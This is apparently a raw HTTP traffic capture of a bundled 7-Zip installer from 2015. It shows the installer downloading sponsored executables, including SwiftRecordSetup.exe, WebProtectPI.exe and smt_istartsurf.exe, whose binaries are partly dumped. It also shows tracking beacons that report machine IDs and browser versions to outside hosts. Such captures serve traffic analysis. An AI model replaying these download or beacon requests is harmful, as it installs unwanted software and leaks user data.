GET /5946.ashx?e=eISsn0A7mAZMV62Gsz5XOWaeKb06PAQA7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDeRmGi7guTMeaY5GcMHOnR dxUU31LK7oTpek9GMPHJkI4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qos7ozJ3T9gfn6pqgVuVy 5fkJkRzvnrV5sbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:23 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:23 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mirror/w2m/index.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dt3j8jg8ei6zr.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 614
Connection: keep-alive
Date: Sat, 25 Apr 2015 19:42:21 GMT
x-amz-version-id: gjjaieey3wbAsdFhzdzC0W1xinEAjOpw
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404308063/atime:1404308105/ctime:1404308063
Cache-Control: max-age=3600
Last-Modified: Wed, 02 Jul 2014 13:55:00 GMT
ETag: "18941041e5fbef611457edff0fdfb66b"
Accept-Ranges: bytes
Server: AmazonS3
Age: 1154
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: aPdQYSGOnM2Dw3163oLedcmf7W-Pb2Fg0YX_H-ssgeAnS-ue1p0CrQ==
<!doctype html>.<!--[if lt IE 7]>      <html class="no-
js lt-ie9 lt-ie8 lt-ie7"> <![endif]-->.<!--[if IE 7]>  
       <html class="no-js lt-ie9 lt-ie8"> <![endif]-->.<
;!--[if IE 8]>         <html class="no-js lt-ie9"> <![endi
f]-->.<!--[if gt IE 8]><!--> <html class="no-js">
 <!--<![endif]-->.<head>.    <meta charset="utf-8"&g
t;.    <meta http-equiv="X-UA-Compatible" content="IE=edge">.   
 <meta name="description" content="">.    <meta name="viewpor
t" content="width=device-width">..</head>.<body>.      
  <script src="scripts/jquery.min.js"></script>.        &l
t;script src="scripts/hatter.js"></script>.</body>.<
/html>....


GET /mirror/w2m/scripts/jquery.min.js HTTP/1.1


Accept: */*
Referer: hXXp://dt3j8jg8ei6zr.cloudfront.net/mirror/w2m/index.html
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dt3j8jg8ei6zr.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Length: 95787
Connection: keep-alive
Date: Sat, 25 Apr 2015 19:42:22 GMT
x-amz-version-id: gkbfDJJ3canTS.csBM8cloaefpejZ0ss
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1401709628/atime:1401709661/ctime:1401709628
Cache-Control: max-age=3600
Last-Modified: Mon, 02 Jun 2014 11:48:02 GMT
ETag: "dc9b03e5fdcf28d58ac40498b8bb340f"
Accept-Ranges: bytes
Server: AmazonS3
Age: 1150
X-Cache: Hit from cloudfront
Via: 1.1 1fcd1033bfe42d3b0b03eb4bfbf9624a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: xyCZZlr9uxc6IyBE4W5t1vhLH8a638hggt0SV_zuSLLqc8AMhkyeUA==
/*! jQuery v1.11.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.o
rg/license */.!function(a,b){"object"==typeof module&&"object"==typeof
 module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.do
cument)throw new Error("jQuery requires a window with a document");ret
urn b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){v
ar c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=
h.hasOwnProperty,k={},l="1.11.1",m=function(a,b){return new m.fn.init(
a,b)},n=/^[\s\uFEFF\xA0] |[\s\uFEFF\xA0] $/g,o=/^-ms-/,p=/-([\da-z])/g
i,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,c
onstructor:m,selector:"",length:0,toArray:function(){return d.call(thi
s)},get:function(a){return null!=a?0>a?this[a this.length]:this[a]:
d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a
);return b.prevObject=this,b.context=this.context,b},each:function(a,b
){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map
(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return t
his.pushStack(d.apply(this,arguments))},first:function(){return this.e
q(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.le
ngth,c= a (0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]
:[])},end:function(){return this.prevObject||this.constructor(null)},p
ush:f,sort:c.sort,splice:c.splice},m.extend=m.fn.extend=function(){var
 a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boole
an"==typeof g&&(j=g,g=arguments[h]||{},h  ),"object"==typeof g||m.
<<< skipped >>>


GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 HTTP/1.1
Host: logs.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:25 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430385926.dop013.am4.t,1430385925.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 30 Apr 
2015 09:25:25 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430385926.dop013.am4.t,1430385925.
cds058.am4.c..GIF89a.............,...........D..;....


GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 HTTP/1.1


Host: logs.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:34 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430385926.dop013.am4.t,1430385934.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 30 Apr 
2015 09:25:34 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430385926.dop013.am4.t,1430385934.
cds058.am4.c..GIF89a.............,...........D..;..



GET /b/WebProtectPI.exe?s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:23:04 GMT
Content-Type: application/octet-stream
Content-Length: 130318
Last-Modified: Tue, 28 Apr 2015 13:38:29 GMT
Connection: keep-alive
ETag: "553f8d55-1fd0e"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s....................
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...@[email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=392442-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 392442-523255/523256
Content-Length: 130814
Connection: keep-alive
...l..:B\k..I.V#...B.............. !...z. 3).5.9..........y..{.u;U};.*
..?.g........ ..B.7XE.N(...#{...qLc...<.....r.J...9.........e....`.
2.........|.I}6...%....F....4....[9....... (.....C..G~...Y0gs-.a..3..j
..M..8. M ...78^c.x&W.20..."s..zL....w..hKI..)p.....{..G.c..h..7... W.
..:.:zcJx.k;.i.}.........vE:..\...7.5...........28.w....F"....f..s..M.
[email protected]..{..U$.&.XQ.........t...Y.3......08$.F.....u0C......
.Z.9.4ZPb.XB}.IPKm..y{j..=S..Ly.<[.VW.7^S.R l.....$Y3-.=b...*c&..8.
C.IP.O..../....b.....&<p..=.\G..3.r..,.>GIo.....7.q`bie.L...S1._
..ZhG.J8E........U..Q.$...z.-!...FGh./Q[1...'..f...[H.Z...0.H...Qv...Q
[email protected]..#.3i...p.....GH.....$........xr..'Zs... Ni.M..e....Gg_g\.....H
P.y.-..a....R?N.7'.z....W$....7..5O.....H..`.Y....g.._cCzz..wS.s......
..Oa...p.k...h1.........g.C...X]/.*.fG...<.%......j".F.M....p..w..-
."#.(..)...6.y.=h......P..J.,|.p....(.9y...|[email protected],.*...
....N..W/.Y..H.ED.....UT.<...K."._1......\j......)r.....\.s.......v
.v..m..i.n<.l.s..7^<!....,..)..\.?..... .r...IW.0..HQ4?....K;Di.
|...2.....[h.#]...*.......M.&.....C.;..u....N..Y.SV.....0.(...1KBA70..
T...FyP....L.UiO?.,H^.c....E1....a.Z....v$.75.(..(..F...............,w
lB[.~...S.?{<./5.i..;.....T.W..F....|5u.%{.I#7r..Y)F..L.wW.....DQ.X
0X..........,..v.....]..[j......S.5..."...V"^..9......&.9..\........{.
.!0.Z.(Yqfx.....%..T...I^.M<...P.. ^..q. -s..(..m.........ss.......
.....o......)z...rR3.t..QG .T.A...AjK......9...Ca.Ej.L...BB.gK.a..2...
.....)T.............((..A.....&.H5........y> ..v..G......S...H.
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&0.24392571885581815 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:26:28 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:26:28 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:23:51 GMT
Date: Thu, 30 Apr 2015 09:23:51 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=65407-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 65407-523255/523256
Content-Length: 457849
Connection: keep-alive
.a.:K...0..y2.`.!.T......Y........]X.:.34.y.......y.0..."]..>y..._.
2. D..=X.i........0...`....O.~.J.|.#.:.R.D.?..~...Z.).U%.W..&...D....b
.\..H?f.....]..........l.F&..^.o..[.3...V.......'_.X%..L..x...........
....V...4W=X..C..;....q.0...............R..x.y1.!....ZC.......Z:.7....
..R..m...#[email protected]:...
.....:...D..o..>...H-...A ..D#.....S.D.C.....~.....T.....#.... 3...
......~...... .mP.U.=.E.,.#p.. .q.......b...j.w=.&.:s.%.q.F.."0.r.l.".
8......../...I..4.7..5..t.,....t...8D..RQm......o.](../.hv..T.Z.~2.K..
........q_DMF..X.#..\.....>'..(. 1..lD..3..v..'\U...n_7..iH;.i.RV~3
!....oS.....]l..5o.e...;....F*....!.D .*..h..!x..`.h.....I.]'gB.....e.
..?lO.*|.......q.u..x...3....8......@.@R.....%@"...n.....dDk).h.Z..lG.
...4..,Y....9"N2q.D..c...ig!....W..fzT.iL.4...5I(..Q!2l.=m.T...F.o..DI
.. .....<.....eV.>|K$)L..x....I._.....yC.MK..Ps.)..'.F.Ia..3....
\...W...@.*I6L6.l_A7..0.i...,Z.......z.Wg6w..Z.6.Te5JM..U.H}3.....l...
0.f..g...O2.4l..m[hW..|(l}U.....m.T.`..s.s.kp....).:M.....i.E.........
[email protected]/..x...q..s..&5..m@'.4`....&c....9...a..g..........
.'[email protected].....>...h.....^CW.......'t.vO..E..I.*........g!.
q.W.1k@G=F..M.:[email protected]..=p.Q-rCP.
J..i...[....i.*?.w..%..p.HkKEa.7........FY.M.]...K.%......3.A..~X.o.U.
.3.P..=.3..x.h [email protected].."_..B.J.kF...J...U..kB...W.e
>D...]\e.m....<.B.......BZ...#.w.!P..`7g.p<Z7......{.$.x..o..
.f~..Fd.p.!....]e^I.........1.N.]n...%*.I.r`.................k:...
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&display_height=170&0.0717698178406258 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.5.10.1430385829; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:25:52 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:25:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 HTTP/1.1
Host: logs.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:35 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430385936.dop007.am4.t,1430385935.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Thu, 30 Apr 
2015 09:25:35 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430385936.dop007.am4.t,1430385935.
cds058.am4.c..GIF89a.............,...........D..;..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=964747-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321582
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 25 Apr 2015 19:35:23 GMT
Content-Range: bytes 964747-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 f989b812753677758cd8909391e239ac.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -io-SDAz124TTNTBkfMDgLO6gXnJptelk5cckqiFhKCe1Q6DjUx-Ew==
y. ....x.L.z..V......i}|...V...$EN...Vd...b&b..*..39..6..<r.p<.F
vD.........S<g...{.q.W.%7..?.`b.TwPT.l.O....N.."...#_X.&.s.d0B..M.-
.$l. B*.........[.Y....Q>@.P...4;?<T..7....I..'.......i0\.S.....
..g..r..|S.Q....&..7.f....?.X....T4..._-...N.%.....L...eX.....=.....q4
.&..h.6.y....F..BJD....._.A.._iQ...8.#B..zI'US.;:.~.M...6.C..J.].....w
..S..D...."..s..). xh.6.....f.Z....mjy..i0.. ...p-)..h..Z.gu.&........
..a.6.......h..W.Jh...I.:....9.....&.....M.....$..8.i.I..Gk.y.F>#..
zLR.B........r.'..t..m...}.....5.;.I.z.KG... 3H....|....g..H..\G..{...
,X....w..=5.n{.....`e.VkW.....?......dn...".Z..i.a.....o.>.....s.f.
...V..&U...G..<....TK.P..  .K.....*...^....ZF....l/.#.&.7......dW..
3<C.QIL&...`H..?..E.V... I.k...[!j...s...ci.f.s....cd....<O..h..
.b.'...X..d.......Aq.S..;[..q..)(C...F~.;.>..........U4.=%.j|4...\.
...?..E..d....L........&5...W..qj.D\..$...h^F$.$.%g....`...$...L.....a
.4..N{..L..D....5..!.../.\..D...4...1zif_J...L.|...z~f.@]..Me._.H)....
u..8.Zl)....7...[.|d;...>.Q.b6...... I......[...}..]....~O.......q.
....M...........<.X~.....8.ysN.f3s....t........iq.w....[WI.\..I.\=.
...I.]...^.U.....h...wL.<.........$..F..v.a.y...&......9...L`O...n.
.#...0.l.. O.?..%..v...K..~.....'p..w~...?0.5t....i...Q2...RC%IY24.Uj.
.;:...FV=.K..9..%C..y9..y.1*..^..*..d..vp..s.z(Sg.ny..Y"...F^.U2....^|
..A.:<...X........Z..:_......1.y...,FLw...Dg.8HP....J.0.s....T...OX
.M..H......w.7t<..n.~.jn...g.4.>Y.y...XLtTO..A.......e.....{..7.
*....TP..5S..S..p.....7.lB.z...S....a{.I.......0.w.a4..$.E..k...5.
<<< skipped >>>


GET /root-r3.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.globalsign.net


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:37 GMT
Content-Type: application/x-pkcs7-crl
Content-Length: 594
Connection: keep-alive
Set-Cookie: __cfduid=da9206da5fa1b6269a63690cad26a161f1430385997; expires=Fri, 29-Apr-16 09:26:37 GMT; path=/; domain=.globalsign.net; HttpOnly
Expires: Wed, 15 Jul 2015 00:00:00 GMT
Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT
Cache-Control: public, max-age=6532403
CF-Cache-Status: HIT
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 1df234c1be7415b3-FRA
0..N0..6...0...*.H........0L1 0...U....GlobalSign Root CA - R31.0...U.
...GlobalSign1.0...U....GlobalSign..150323000000Z..150715000000Z0..0*.
.......1..F...141125000000Z0.0...U.......0*........%[email protected]
Z0.0...U.......0*........%..D...141125000000Z0.0...U......../0-0...U..
.....0...U.#..0.....K...E$.MP.c.......0...*.H...............Z.v..&...B
.....x)....'.u.}.r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R.
 .....rS....t.T_.....Y.R......p OS..2.s........(C.e.x3.#.d6L.d=.UI.;T.
.G...mx....... .......-........-.....J....$.Ko.e#......3....*..3.s...0
.........N..W?'.U...f..h..e...m.9.HTTP/1.1 200 OK..Date: Thu, 30 Apr 2
015 09:26:37 GMT..Content-Type: application/x-pkcs7-crl..Content-Lengt
h: 594..Connection: keep-alive..Set-Cookie: __cfduid=da9206da5fa1b6269
a63690cad26a161f1430385997; expires=Fri, 29-Apr-16 09:26:37 GMT; path=
/; domain=.globalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:0
0 GMT..Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: pu
blic, max-age=6532403..CF-Cache-Status: HIT..Accept-Ranges: bytes..Ser
ver: cloudflare-nginx..CF-RAY: 1df234c1be7415b3-FRA..0..N0..6...0...*.
H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.0.
..U....GlobalSign..150323000000Z..150715000000Z0..0*........1..F...141
125000000Z0.0...U.......0*........%[email protected]*
........%..D...141125000000Z0.0...U......../0-0...U.......0...U.#..0..
...K...E$.MP.c.......0...*.H...............Z.v..&...B.....x)....'.u.}.
r8.. ..i.......-..........@.:.5.v..?.. ....~V.=....R. .....rS....t
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=503496-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 167832
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 503496-671327/671328
PARAMETER...TEARDOWN....PAUSE...PLAY....SETUP...ANNOUNCE....Refusing t
o issue an RTSP request [%s] without a session ID.....DESCRIBE....OPTI
ONS.Got invalid RTSP request: RTSPREQ_NONE..Failed writing RTP data.Ca
nnot pause RTP....Cannot write a 0 size RTP packet....Got RTSP Session
 ID Line [%s], but wanted ID [%s]...Got a blank Session ID..Unable to 
read the CSeq header: [%s]....: %ld...Got an error writing an RTP pack
[email protected].._E..0E. `E. `E.........@0E.......
......D...t.G.N............HE..$E.."E.p.G...F...F...F.................
....................................EHLO %s.HELO %s.STARTTLS....AUTH %
s.AUTH %s %s..No known authentication mechanisms supported!...HELP....
%s %s...VRFY....MAIL FROM:%s SIZE=%s....MAIL FROM:%s AUTH=%s SIZE=%s..
..MAIL FROM:%s AUTH=%s....MAIL FROM:%s....%I64d...<%s>....<&g
t;..RCPT TO:<%s>....RCPT TO:%s..QUIT....Got unexpected smtp-serv
